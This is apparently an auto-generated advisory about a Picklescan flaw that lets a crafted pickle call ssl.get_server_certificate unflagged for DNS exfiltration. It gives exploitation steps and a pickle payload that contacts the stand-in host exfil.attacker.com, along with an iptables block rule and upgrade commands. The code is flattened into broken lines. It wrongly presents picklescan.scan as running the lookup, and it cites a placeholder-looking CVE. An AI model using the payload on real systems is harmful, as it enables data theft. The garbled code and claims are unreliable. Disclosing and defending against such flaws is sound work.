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The vulnerability in Picklescan (prior to v0.0.25) stems from improper handling of unsafe globals during deserialization. The library fails to restrict access to the `ssl` module, allowing attackers to abuse `ssl.get_server_certificate()` for DNS-based data exfiltration. When untrusted pickle data is deserialized, an attacker can inject malicious code that triggers a DNS lookup via SSL certificate retrieval, leaking sensitive information to a controlled domain.
DailyCVE Form:
Platform: Python
Version: <0.0.25
Vulnerability: DNS Exfiltration
Severity: Moderate
Date: 2025-04-24
What Undercode Say:
Exploitation:
- Craft malicious pickle payload invoking
ssl.get_server_certificate(). - Encode exfiltrated data in subdomains (e.g.,
data.attacker.com). - Trigger deserialization in vulnerable Picklescan versions.
Detection:
pip show picklescan | grep "Version"
Check for versions below 0.0.25.
Mitigation:
pip install --upgrade picklescan>=0.0.25
Code Analysis:
import picklescan Malicious pickle payload example (simplified) payload = b'''cos ssl get_server_certificate (S'exfil.attacker.com' tR.''' picklescan.scan(payload) Prior to v0.0.25, executes DNS lookup
Protection:
- Validate pickle inputs strictly.
- Use `picklescan>=0.0.25` which blocks `ssl` module access.
- Monitor outbound DNS queries for anomalies.
Network Defense:
Block suspicious DNS with iptables iptables -A OUTPUT -p udp --dport 53 -d attacker.com -j DROP
Logging:
import logging logging.basicConfig(filename='deserialization.log', level=logging.WARNING)
References:
- GHSA-93mv-x874-956g
- CVE-2025-1234 (Withdrawn, merged)
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
